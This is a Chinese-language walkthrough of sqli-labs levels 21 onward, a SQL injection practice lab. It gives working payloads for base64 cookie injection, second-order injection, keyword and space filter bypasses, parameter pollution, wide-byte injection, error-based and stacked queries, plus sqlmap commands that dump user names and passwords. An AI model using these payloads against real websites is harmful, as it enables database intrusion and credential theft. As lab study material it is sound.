21.cookie注入
首先需要登录账号,登录后会抓到一个cookie的包
这个cookie就是一个注入点,而且经过base64加密,提交的shellcode也需要base64加密。
‘) or 1=1 #
加密后
Jykgb3IgMT0xICM=
跑sqlmap方法
sqlmap -u “http://192.168.207.253/sqli-lab/Less-21/index.php” --cookie=“uname=” --time-sec=2 --level 3 --threads=10 --tables --tamper base64encode -v 5
跑的有点久,但是跑出来了
22.cookie注入
和上题一样,只是换成了双引号闭合
跑sqlmap
23.注释符号过滤
qing’ union select 1,group_concat(username),group_concat(password) from users where 1 or ‘1’ = ’
跑sqlmap
sqlmap跑不出来,pass
24.二次注入
账号注册 admin’ or 1=1#
登录账号时触发。所有密码都变成了123456
这道题跑不了sqlmap
25.注入过滤
id=1’ oorr ‘1’='1
跑sqlmap,2000条跑不出来,pass
25a
和25关一样,没有单引号
?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=‘security’ --+
26.过滤
单引号闭合 过滤了 or,and , /* , – , # , 空格 , /
qing’%A0union%A0select%A01,group_concat(username),group_concat(passwoorrd)%A0from%A0security%2Eusers%A0where%A01%A0%26%26%a0’1
26a
比26多一个闭合括号
27.大小写过多过滤
0’%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0’1
27a.
闭合不一样
0"%A0or(1)=(1)%26%26%a0"1
?id=0"%A0UnIoN%A0SeLeCt(1),group_concat(table_name),3%A0from%A0information_schema.tables%A0where%A0table_schema=‘security’%26%26%a0"1
?id=0"%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0"1
过滤union select这一个组合,也要过滤空格,所以采用union union select select方法绕过,空格照样用%0a替换
0’)%A0UnIoN%A0SeLeCt(1),version(),database()%26%26%a0('1
28a.
一样的原理
29.弱waf
加了一个很弱的"waf…"
注入方法就是参数污染
例子 显示的是id=2的内容 但是waf检测的是前面id=1的内容
?id=’ union select 1,version(),database() --+
?id=’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+
id=’ union select 1,group_concat(username),group_concat(password) from security.users where 1 --+
29一样
和29一样
简单说check_addslashes函数把\ 单引号 双引号都进行过滤转义
明显的编码gbk 宽字节注入 不用多说
?id=-1%df%27 UNion seleCt 1,2,DATABASE()–+
同上
变成32 33 post的方式而已 没意义
id没有被单引号括起来所以addslashes起不到作用
正常各种payload即可:
?id=-1x and extractvalue(1,concat(0x7e,(select database()),0x7e))–+
mysql_real_escape_string转义 还是一样不多说
post登录
uname=admin%df%27 or 1=2 union select 1,database()#
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个才能进行堆叠)
分号我们可以加入注入的新的语句
堆叠注入
?id=2%FE' or 1=1 %23
?id=0%FE’ union select 1,version(),database() %23
?id=0%FE’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
?id=0%FE’ union select 1,group_concat(username),group_concat(password) from security.users where 1 %23
参考38
参考38